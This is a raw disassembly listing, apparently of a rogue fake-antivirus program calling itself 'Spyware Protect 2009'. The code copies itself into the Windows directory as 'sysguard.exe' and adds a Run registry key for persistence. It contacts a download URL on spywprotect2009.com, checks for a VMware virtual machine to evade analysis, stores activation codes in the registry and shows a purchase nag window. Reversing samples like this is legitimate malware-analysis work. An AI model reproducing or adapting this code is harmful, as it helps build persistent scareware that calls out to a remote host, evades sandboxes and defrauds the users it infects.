loc_416D57:				; CODE XREF: sub_416CC7+3Bj
					; sub_416CC7+4Ej ...
		call	sub_40C862
		mov	dword ptr [eax], 16h


loc_416D62:				; CODE XREF: sub_416CC7+BBj
					; sub_416CC7+D6j ...
		or	eax, 0FFFFFFFFh


loc_416D65:				; CODE XREF: sub_416CC7+231j
					; sub_416CC7+246j
		pop	edi
		pop	esi


loc_416D67:				; CODE XREF: sub_416CC7+30j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416D6A:				; CODE XREF: sub_416CC7+7Dj
					; sub_416CC7+85j
		cmp	[ebp+var_8], ebx
		jnz	loc_416F0B
		push	4
		call	sub_40EF2A
		pop	ecx
		mov	dword_42E88C, eax
		cmp	eax, ebx
		jz	short loc_416D62
		mov	[eax], ebx
		cmp	dword_42E894, ebx
		jnz	short loc_416DA1
		push	4
		call	sub_40EF2A
		pop	ecx
		mov	dword_42E894, eax
		cmp	eax, ebx
		jz	short loc_416D62
		mov	[eax], ebx


loc_416DA1:				; CODE XREF: sub_416CC7+78j
					; sub_416CC7+8Ej ...
		mov	esi, dword_42E88C
		mov	[ebp+var_10], esi
		cmp	esi, ebx
		jz	short loc_416D62
		sub	edi, [ebp+var_4]
		push	[ebp+var_4]
		call	sub_416C1B
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jl	short loc_416E12
		cmp	[esi], ebx
		jz	short loc_416E12
		lea	esi, [esi+edi*4]
		push	dword ptr [esi]
		call	sub_40ADC8
		pop	ecx
		cmp	[ebp+var_8], ebx
		jnz	short loc_416DEF
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		jmp	loc_416E65
; ---------------------------------------------------------------------------


loc_416DE3:				; CODE XREF: sub_416CC7+12Aj
		mov	eax, [esi+4]
		mov	[esi], eax
		mov	eax, [ebp+var_10]
		inc	edi
		lea	esi, [eax+edi*4]


loc_416DEF:				; CODE XREF: sub_416CC7+10Bj
		cmp	[esi], ebx
		jnz	short loc_416DE3
		cmp	edi, 3FFFFFFFh
		jnb	short loc_416E65
		push	4
		push	edi
		push	dword_42E88C
		call	sub_40F009
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_416E65
		jmp	short loc_416E60
; ---------------------------------------------------------------------------


loc_416E12:				; CODE XREF: sub_416CC7+F7j
					; sub_416CC7+FBj
		cmp	[ebp+var_8], ebx
		jnz	loc_416EFD
		cmp	edi, ebx
		jge	short loc_416E21
		neg	edi


loc_416E21:				; CODE XREF: sub_416CC7+156j
		lea	eax, [edi+2]
		cmp	eax, edi
		jl	loc_416D62
		cmp	eax, 3FFFFFFFh
		jnb	loc_416D62
		push	eax
		push	4
		push	dword_42E88C
		call	sub_40F009
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_416D62
		mov	edx, [ebp+var_4]
		lea	ecx, [eax+edi*4]
		mov	[ecx], edx
		mov	[ecx+4], ebx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ebx


loc_416E60:				; CODE XREF: sub_416CC7+149j
		mov	dword_42E88C, eax


loc_416E65:				; CODE XREF: sub_416CC7+117j
					; sub_416CC7+132j ...
		cmp	[ebp+arg_4], ebx
		jz	short loc_416EE2
		mov	esi, [ebp+var_4]
		push	1
		push	esi
		call	sub_40BFB0
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		call	sub_40EF6F
		mov	edi, eax
		pop	ecx
		pop	ecx
		cmp	edi, ebx
		jz	short loc_416EE2
		push	esi
		push	esi
		call	sub_40BFB0
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		push	edi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416EAB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_416EAB:				; CODE XREF: sub_416CC7+1D5j
		mov	ecx, [ebp+var_8]
		mov	eax, edi
		sub	eax, esi
		add	eax, [ebp+var_14]
		mov	[eax], bl
		inc	eax
		neg	ecx
		sbb	ecx, ecx
		not	ecx
		and	ecx, eax
		push	ecx
		push	edi
		call	dword_41D0EC	; SetEnvironmentVariableA
		test	eax, eax
		jnz	short loc_416EDB
		or	[ebp+var_C], 0FFFFFFFFh
		call	sub_40C862
		mov	dword ptr [eax], 2Ah


loc_416EDB:				; CODE XREF: sub_416CC7+203j
		push	edi
		call	sub_40ADC8
		pop	ecx


loc_416EE2:				; CODE XREF: sub_416CC7+1A1j
					; sub_416CC7+1BDj
		cmp	[ebp+var_8], ebx
		jz	short loc_416EF5
		push	[ebp+var_4]
		call	sub_40ADC8
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	[eax], ebx


loc_416EF5:				; CODE XREF: sub_416CC7+21Ej
		mov	eax, [ebp+var_C]
		jmp	loc_416D65
; ---------------------------------------------------------------------------


loc_416EFD:				; CODE XREF: sub_416CC7+14Ej
		push	[ebp+var_4]
		call	sub_40ADC8
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	[eax], ebx


loc_416F0B:				; CODE XREF: sub_416CC7+A6j
		xor	eax, eax
		jmp	loc_416D65
sub_416CC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F12	proc near		; CODE XREF: sub_416C6D+3Dp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_416F23
		xor	eax, eax
		jmp	short loc_416F64
; ---------------------------------------------------------------------------


loc_416F23:				; CODE XREF: sub_416F12+Bj
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_40BFB0
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_40AEA5
		mov	edi, eax
		pop	ecx
		pop	ecx
		cmp	edi, ebx
		jz	short loc_416F60
		push	[ebp+arg_0]
		push	esi
		push	edi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416F5C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_416F5C:				; CODE XREF: sub_416F12+3Bj
		mov	eax, edi
		jmp	short loc_416F62
; ---------------------------------------------------------------------------


loc_416F60:				; CODE XREF: sub_416F12+2Aj
		xor	eax, eax


loc_416F62:				; CODE XREF: sub_416F12+4Cj
		pop	edi
		pop	esi


loc_416F64:				; CODE XREF: sub_416F12+Fj
		pop	ebx
		pop	ebp
		retn
sub_416F12	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F68	proc near		; CODE XREF: sub_408FB6+11Dp
		jmp	dword_41D3D4
sub_416F68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F6E	proc near		; CODE XREF: sub_40C0C0+26p
					; sub_41002E+10p ...
		jmp	dword_41D190
sub_416F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F74	proc near		; CODE XREF: sub_4170D1+5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_42F0E4
		test	eax, eax
		jnz	short loc_416F86
		xor	al, al
		jmp	short locret_416FAD
; ---------------------------------------------------------------------------


loc_416F86:				; CODE XREF: sub_416F74+Cj
		push	4
		pop	ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	offset aReady	; "ready"
		push	eax
		call	dword_41D01C	; RegQueryValueExW
		neg	eax
		sbb	eax, eax
		inc	eax

locret_416FAD:				; CODE XREF: sub_416F74+10j
		leave
		retn	4
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FB1	proc near		; CODE XREF: sub_41709B+Cp
					; sub_4170DD+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_42F0E4
		test	eax, eax
		jnz	short loc_416FC3
		xor	al, al
		jmp	short locret_416FED
; ---------------------------------------------------------------------------


loc_416FC3:				; CODE XREF: sub_416FB1+Cj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	[ebp+arg_0]
		mov	[ebp+var_8], 1
		push	eax
		mov	[ebp+var_4], 400h
		call	dword_41D01C	; RegQueryValueExW
		neg	eax
		sbb	eax, eax
		inc	eax

locret_416FED:				; CODE XREF: sub_416FB1+10j
		leave
		retn	8
sub_416FB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FF1	proc near		; CODE XREF: sub_4170C1+Ap
					; sub_417692+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [eax]
		mov	[ebp+var_4], 1
		test	eax, eax
		jnz	short loc_417006
		xor	al, al
		jmp	short locret_41701F
; ---------------------------------------------------------------------------


loc_417006:				; CODE XREF: sub_416FF1+Fj
		push	4
		lea	ecx, [ebp+var_4]
		push	ecx
		push	4
		push	0
		push	[ebp+arg_0]
		push	eax
		call	dword_41D018	; RegSetValueExW
		neg	eax
		sbb	eax, eax
		inc	eax

locret_41701F:				; CODE XREF: sub_416FF1+13j
		leave
		retn	4
sub_416FF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_417023	proc near		; CODE XREF: sub_408F59+36p
					; UPX0:004170BBp

arg_0		= dword	ptr  4

		mov	ecx, dword_42F0E4
		test	ecx, ecx
		jnz	short loc_417031
		xor	al, al
		jmp	short locret_417066
; ---------------------------------------------------------------------------


loc_417031:				; CODE XREF: sub_417023+8j
		mov	eax, [esp+arg_0]
		lea	edx, [eax+2]
		push	esi


loc_417039:				; CODE XREF: sub_417023+1Ej
		mov	si, [eax]
		inc	eax
		inc	eax
		test	si, si
		jnz	short loc_417039
		sub	eax, edx
		sar	eax, 1
		lea	eax, [eax+eax+2]
		push	eax
		push	[esp+8+arg_0]
		push	1
		push	0
		push	offset aEmail_0	; "email"
		push	ecx
		call	dword_41D018	; RegSetValueExW
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	esi

locret_417066:				; CODE XREF: sub_417023+Cj
		retn	4
sub_417023	endp

; ---------------------------------------------------------------------------
		push	dword ptr [eax]
		call	dword_41D000	; RegCloseKey
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417072	proc near		; CODE XREF: sub_417692+72p
					; UPX0:0041C838p

arg_0		= dword	ptr  4

		push	esi
		xor	esi, esi
		push	esi
		push	edi
		push	esi
		push	2001Fh
		push	esi
		push	esi
		push	esi
		push	[esp+20h+arg_0]
		push	80000001h
		call	dword_41D020	; RegCreateKeyExW
		test	eax, eax
		jz	short loc_417095
		mov	[edi], esi


loc_417095:				; CODE XREF: sub_417072+1Fj
		mov	eax, edi
		pop	esi
		retn	4
sub_417072	endp


; =============== S U B	R O U T	I N E =======================================



sub_41709B	proc near		; CODE XREF: sub_408E29+60p
		push	esi
		mov	esi, offset dword_42EEB0
		push	esi
		push	offset aEmail_1	; "email"
		call	sub_416FB1
		movzx	eax, al
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn
sub_41709B	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	sub_417023
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4170C1	proc near		; CODE XREF: UPX0:00409774p
		push	offset aReady_0	; "ready"
		mov	eax, offset dword_42F0E4
		call	sub_416FF1
		retn
sub_4170C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170D1	proc near		; CODE XREF: sub_409CAD+18p
					; sub_417692+A6p ...

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	eax
		call	sub_416F74
		pop	ecx
		retn
sub_4170D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170DD	proc near		; CODE XREF: sub_408E29+6Cp
					; sub_409BC7+BBp ...

var_204		= byte ptr -204h
var_4		= dword	ptr -4

		sub	esp, 204h
		mov	eax, dword_42A034
		xor	eax, esp
		mov	[esp+204h+var_4], eax
		lea	eax, [esp+204h+var_204]
		push	eax
		push	offset aActcode	; "actcode"
		call	sub_416FB1
		mov	ecx, [esp+204h+var_4]
		xor	ecx, esp
		call	sub_40AC1C
		add	esp, 204h
		retn
sub_4170DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417114	proc near		; CODE XREF: sub_408F0F+Fp

var_19		= byte ptr -19h
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_426E90
		call	__SEH_prolog4
		mov	[ebp+var_19], 1
		and	[ebp+ms_exc.disabled], 0
		push	edx
		push	ecx
		push	ebx
		mov	eax, 564D5868h
		mov	ebx, 0
		mov	ecx, 0Ah
		mov	edx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_19]
		pop	ebx
		pop	ecx
		pop	edx
		jmp	short loc_41715A
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+var_19], 0


loc_41715A:				; CODE XREF: sub_417114+39j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	al, [ebp+var_19]
		call	__SEH_epilog4
		retn
sub_417114	endp

; ---------------------------------------------------------------------------
		push	0
		call	sub_40BB3D
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417173	proc near		; CODE XREF: sub_4173E1+17Bp

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= byte ptr -198h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1B4h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	offset aHttp	; "http://"
		xor	esi, esi
		push	edi
		mov	[ebp+var_1A0], ecx
		mov	[ebp+var_19C], esi
		call	sub_40B787
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4171B3
		add	edi, 0Eh
		mov	[ebp+var_1A0], edi


loc_4171B3:				; CODE XREF: sub_417173+35j
		push	2Fh
		push	[ebp+var_1A0]
		call	sub_40B4C4
		mov	ebx, eax
		xor	eax, eax
		pop	ecx
		mov	[ebx], ax
		pop	ecx
		lea	eax, [ebp+var_198]
		push	eax
		inc	ebx
		push	2
		inc	ebx
		call	dword_41D388	; WSAStartup
		mov	edi, dword_41D37C
		push	esi
		push	esi
		push	esi
		push	esi
		push	offset aMicrosoftInter ; "Microsoft Internet Explorer"
		call	edi ; dword_41D37C
		mov	[ebp+var_1A4], eax
		cmp	eax, esi
		jnz	short loc_41720F
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMicrosoftInt_0 ; "Microsoft Internet Explorer"
		call	edi ; dword_41D37C
		mov	[ebp+var_1A4], eax
		cmp	eax, esi
		jz	loc_41735F


loc_41720F:				; CODE XREF: sub_417173+80j
		push	esi
		push	esi
		push	3
		push	esi
		push	offset aAnonymous ; "anonymous"
		push	50h
		push	[ebp+var_1A0]
		push	[ebp+var_1A4]
		call	dword_41D374	; InternetConnectW
		mov	[ebp+var_1AC], eax
		cmp	eax, esi
		jz	loc_41733B
		push	esi
		push	80000100h
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	eax
		call	dword_41D380	; HttpOpenRequestW
		mov	ebx, eax
		mov	[ebp+var_1A8], ebx
		cmp	ebx, esi
		jz	loc_41732F
		push	esi
		push	esi
		push	esi
		push	esi
		push	ebx
		call	dword_41D378	; HttpSendRequestW
		test	eax, eax
		jz	loc_417323
		push	esi
		push	esi
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		mov	ebx, dword_41D36C
		mov	[ebp+var_1A0], esi
		xor	edi, edi
		call	ebx ; dword_41D36C
		test	eax, eax
		jz	loc_417323


loc_417292:				; CODE XREF: sub_417173+18Dj
		mov	eax, [ebp+var_1A0]
		cmp	eax, esi
		jbe	short loc_417302
		cmp	[ebp+var_19C], esi
		jnz	short loc_4172AE
		push	1
		push	eax
		call	sub_40B5BD
		jmp	short loc_4172BC
; ---------------------------------------------------------------------------


loc_4172AE:				; CODE XREF: sub_417173+12Fj
		add	eax, edi
		push	eax
		push	[ebp+var_19C]
		call	sub_40B8A1


loc_4172BC:				; CODE XREF: sub_417173+139j
		pop	ecx
		mov	[ebp+var_19C], eax
		pop	ecx
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_1A0]
		mov	eax, [ebp+var_19C]
		lea	eax, [eax+edi*2]
		push	eax
		push	[ebp+var_1A8]
		call	dword_41D370	; InternetReadFile
		add	edi, [ebp+var_1B0]
		push	esi
		push	esi
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+var_1A8]
		call	ebx ; dword_41D36C
		test	eax, eax
		jnz	short loc_417292


loc_417302:				; CODE XREF: sub_417173+127j
		cmp	edi, esi
		jbe	short loc_417323
		lea	eax, [edi+1]
		push	eax
		push	[ebp+var_19C]
		call	sub_40B8A1
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		mov	[ebp+var_19C], eax
		mov	[eax+edi*2], cx


loc_417323:				; CODE XREF: sub_417173+F7j
					; sub_417173+119j ...
		push	[ebp+var_1A8]
		call	dword_41D364	; InternetCloseHandle


loc_41732F:				; CODE XREF: sub_417173+E4j
		push	[ebp+var_1AC]
		call	dword_41D364	; InternetCloseHandle


loc_41733B:				; CODE XREF: sub_417173+C2j
		push	[ebp+var_1A4]
		call	dword_41D364	; InternetCloseHandle
		cmp	[ebp+var_19C], esi
		jz	short loc_41735F
		push	[ebp+var_19C]
		call	sub_40ADC8
		pop	ecx
		mov	al, 1
		jmp	short loc_417361
; ---------------------------------------------------------------------------


loc_41735F:				; CODE XREF: sub_417173+96j
					; sub_417173+1DAj
		xor	al, al


loc_417361:				; CODE XREF: sub_417173+1EAj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_417173	endp

; ---------------------------------------------------------------------------


loc_417370:				; CODE XREF: sub_408F0F+18p
		push	14h
		push	offset dword_426EB0
		call	__SEH_prolog4
		mov	byte ptr [ebp-19h], 0
		and	dword ptr [ebp-4], 0
		push	ebx
		mov	ebx, 0
		mov	eax, 1
; ---------------------------------------------------------------------------
		db 0Fh
		dd 850B073Fh, 45940FDBh, 35EB5BE7h, 89EC458Bh, 458BDC45h
		dd 4408BDCh, 8BE04589h,	8883E045h, 0A4h, 0E0458BFFh, 0B8808Bh
		dd 0C0830000h, 0E04D8B04h, 0B88189h, 0C8830000h, 658BC3FFh
		dd 0FC45C7E8h, 0FFFFFFFEh, 0E8E7458Ah, 0FFFF4A21h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173E1	proc near		; CODE XREF: sub_417692+51p

var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	edi, 105h
		push	edi
		push	1
		call	sub_40B5BD
		pop	ecx
		pop	ecx
		lea	esi, [edi-1]
		push	esi
		push	eax
		xor	ebx, ebx
		push	ebx
		mov	[ebp+var_4], eax
		call	dword_41D1FC	; GetModuleFileNameW
		push	[ebp+var_4]
		call	dword_41D2E8	; CharLowerW
		push	edi
		push	1
		call	sub_40B5BD
		pop	ecx
		pop	ecx
		mov	edi, eax
		push	esi
		push	edi
		mov	[ebp+var_8], edi
		call	dword_41D0AC	; GetWindowsDirectoryW
		dec	edi
		dec	edi


loc_41742C:				; CODE XREF: sub_4173E1+54j
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		cmp	ax, bx
		jnz	short loc_41742C
		mov	esi, offset asc_4237A0 ; "\\"
		movsd
		mov	edi, [ebp+var_8]
		dec	edi
		dec	edi


loc_417442:				; CODE XREF: sub_4173E1+6Aj
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		cmp	ax, bx
		jnz	short loc_417442
		push	6
		pop	ecx
		mov	esi, offset aSysguard_exe ; "sysguard.exe"
		rep movsd
		push	offset aSysguard_exe_0 ; "sysguard.exe"
		push	[ebp+var_4]
		movsw
		call	sub_40B787
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_417571
		mov	esi, [ebp+var_8]
		push	1
		push	esi
		push	[ebp+var_4]
		call	dword_41D084	; CopyFileW
		test	eax, eax
		jz	loc_417571
		lea	eax, [ebp+var_8]
		push	eax
		push	20006h
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	dword_41D010	; RegOpenKeyExW
		test	eax, eax
		jnz	short loc_4174D8
		mov	eax, esi
		lea	edx, [eax+2]


loc_4174AA:				; CODE XREF: sub_4173E1+D1j
		mov	cx, [eax]
		inc	eax
		inc	eax
		cmp	cx, bx
		jnz	short loc_4174AA
		sub	eax, edx
		sar	eax, 1
		lea	eax, [eax+eax+2]
		push	eax
		push	esi
		push	1
		push	ebx
		push	offset aSysguard ; "sysguard"
		push	[ebp+var_8]
		call	dword_41D018	; RegSetValueExW
		push	[ebp+var_8]
		call	dword_41D000	; RegCloseKey


loc_4174D8:				; CODE XREF: sub_4173E1+C2j
		push	40h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_60], 44h
		call	sub_40BD40
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	esi
		call	dword_41D064	; CreateProcessW
		push	200h
		push	1
		call	sub_40B5BD
		pop	ecx
		pop	ecx
		mov	ecx, eax
		mov	eax, offset aHttpSpywprot_0 ; "http://spywprotect2009.com/loads.php"
		mov	esi, ecx
		mov	[ebp+var_4], ecx
		sub	esi, eax


loc_417520:				; CODE XREF: sub_4173E1+14Bj
		movzx	edx, word ptr [eax]
		mov	[esi+eax], dx
		inc	eax
		inc	eax
		cmp	dx, bx
		jnz	short loc_417520
		mov	edi, ecx
		dec	edi
		dec	edi


loc_417532:				; CODE XREF: sub_4173E1+15Aj
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		cmp	ax, bx
		jnz	short loc_417532
		mov	esi, offset a?r	; "?r="
		movsd
		movsd
		mov	edi, ecx
		dec	edi
		dec	edi


loc_417548:				; CODE XREF: sub_4173E1+170j
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		cmp	ax, bx
		jnz	short loc_417548
		mov	esi, offset a16_0_0 ; "16.0"
		movsd
		movsd
		movsw
		call	sub_417173
		push	[ebp+var_4]
		call	sub_40ADC8
		pop	ecx
		push	ebx
		call	dword_41D1C0	; ExitProcess


loc_417571:				; CODE XREF: sub_4173E1+89j
					; sub_4173E1+A0j
		push	[ebp+var_4]
		call	sub_40ADC8
		pop	ecx
		push	[ebp+var_8]
		call	sub_40ADC8
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4173E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_417588	proc near		; CODE XREF: sub_4092A8+11p
					; sub_40970B+4p
		push	0A8h
		mov	eax, offset loc_41C12D
		call	sub_40C46D
		xor	ebx, ebx
		cmp	byte_42F0B0, bl
		jnz	loc_41768C
		push	ebx
		call	dword_41D2DC	; GetDC
		push	20h
		pop	esi
		push	esi
		xor	edi, edi
		push	esi
		inc	edi
		push	eax
		mov	[ebp-10h], eax
		mov	[ebp-24h], edi
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], ebx
		call	dword_41D044	; CreateCompatibleBitmap
		push	offset dword_42CA58
		push	edi
		push	edi
		push	esi
		push	esi
		mov	[ebp-14h], eax
		call	dword_41D030	; CreateBitmap
		push	0Ah
		pop	ecx
		mov	[ebp-18h], eax
		xor	eax, eax
		lea	edi, [ebp-4Ch]
		rep stosd
		inc	eax
		mov	[ebp-44h], ax
		push	ebx
		mov	eax, esi
		mov	[ebp-42h], ax
		lea	eax, [ebp-50h]
		push	eax
		push	offset dword_42BA58
		push	esi
		push	ebx
		push	dword ptr [ebp-14h]
		mov	dword ptr [ebp-50h], 28h
		push	dword ptr [ebp-10h]
		mov	[ebp-4Ch], esi
		mov	[ebp-48h], esi
		mov	[ebp-40h], ebx
		call	dword_41D050	; SetDIBits
		lea	eax, [ebp-24h]
		push	eax
		call	dword_41D2EC	; CreateIconIndirect
		push	dword ptr [ebp-14h]
		mov	esi, dword_41D038
		mov	edi, eax
		call	esi ; dword_41D038
		push	dword ptr [ebp-18h]
		call	esi ; dword_41D038
		lea	eax, [ebp-0B0h]
		push	eax
		mov	byte_42F0B0, 1
		call	sub_408D98
		push	offset aPurchaseFullVe ; "Purchase full	version	Spyware	Protect	2"...
		push	edi
		push	880000h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0B0h]
		mov	[ebp-4], ebx
		call	sub_418186
		push	dword ptr [ebp-0ACh]
		call	dword_41D304	; DestroyWindow
		push	edi
		mov	byte_42F0B0, bl
		call	dword_41D2F8	; DestroyIcon
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-0B0h]
		call	sub_404B59


loc_41768C:				; CODE XREF: sub_417588+17j
		call	sub_40C50C
		retn
sub_417588	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417692	proc near		; CODE XREF: UPX0:0040BCC5p

var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= byte ptr -458h
var_454		= byte ptr -454h
var_450		= byte ptr -450h
var_440		= byte ptr -440h
var_43C		= dword	ptr -43Ch
var_430		= byte ptr -430h
var_42C		= dword	ptr -42Ch
var_404		= dword	ptr -404h
var_3FC		= dword	ptr -3FCh
var_3F4		= dword	ptr -3F4h
var_3EC		= dword	ptr -3ECh
var_3E4		= dword	ptr -3E4h
var_3CC		= dword	ptr -3CCh
var_3C8		= dword	ptr -3C8h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 464h
		mov	eax, dword_42A034
		xor	eax, esp
		mov	[esp+464h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_423C5C
		mov	edi, offset dword_42EE94
		movsd
		movsd
		movsd
		movsd
		mov	edi, dword_42E3BC
		xor	esi, esi
		mov	dword_42F0E0, esi
		jmp	short loc_4176DB
; ---------------------------------------------------------------------------


loc_4176CD:				; CODE XREF: sub_417692+4Fj
		mov	eax, [edi]
		cmp	eax, esi
		jz	short loc_4176D8
		push	1
		call	dword ptr [eax+20h]


loc_4176D8:				; CODE XREF: sub_417692+3Fj
		add	edi, 4


loc_4176DB:				; CODE XREF: sub_417692+39j
		cmp	edi, dword_42E3C0
		jb	short loc_4176CD
		call	sub_4173E1
		lea	eax, [esp+470h+var_450]
		push	eax
		call	sub_409BC7
		call	sub_4170DD
		test	al, al
		jnz	short loc_41772F
		push	offset aSoftwareAvscan ; "Software\\AvScan"
		lea	edi, [esp+474h+var_460]
		call	sub_417072
		xor	edi, edi


loc_41770B:				; CODE XREF: sub_417692+91j
		push	off_42DBF0[edi]
		lea	eax, [esp+474h+var_460]
		call	sub_416FF1
		add	edi, 4
		cmp	edi, 88h
		jb	short loc_41770B
		push	[esp+470h+var_460]
		call	dword_41D000	; RegCloseKey


loc_41772F:				; CODE XREF: sub_417692+67j
		call	sub_4170DD
		test	al, al
		jnz	short loc_41774A
		call	sub_4170D1
		test	al, al
		jnz	short loc_41774A
		lea	eax, [esp+470h+var_450]
		call	sub_409CAD


loc_41774A:				; CODE XREF: sub_417692+A4j
					; sub_417692+ADj
		push	esi
		call	sub_40BB3D
		mov	ebx, eax
		pop	ecx
		mov	edi, edx
		add	ebx, 4B0h
		push	esi
		adc	edi, esi
		call	sub_40BB3D
		add	eax, 0B4h
		adc	edx, esi
		pop	ecx
		mov	dword ptr [esp+470h+var_458], eax
		mov	dword ptr [esp+470h+var_454], edx
		jmp	loc_417899
; ---------------------------------------------------------------------------


loc_417778:				; CODE XREF: sub_417692+20Ej
		call	sub_4170D1
		test	al, al
		jz	loc_417865
		cmp	byte_42F0B0, 0
		jnz	loc_417865
		push	esi
		call	sub_40BB3D
		cmp	edi, edx
		pop	ecx
		mov	[esp+470h+var_460], eax
		mov	[esp+470h+var_45C], edx
		jg	short loc_4177FD
		jl	short loc_4177AB
		cmp	ebx, eax
		ja	short loc_4177FD


loc_4177AB:				; CODE XREF: sub_417692+113j
		cmp	[esp+470h+var_42C], esi
		jnz	short loc_4177E0
		mov	eax, [esp+470h+var_3EC]
		mov	[esp+470h+var_3C4], eax
		mov	eax, [esp+470h+var_3E4]
		mov	[esp+470h+var_3C0], eax
		lea	eax, [esp+470h+var_3C4]
		push	eax
		lea	esi, [esp+474h+var_430]
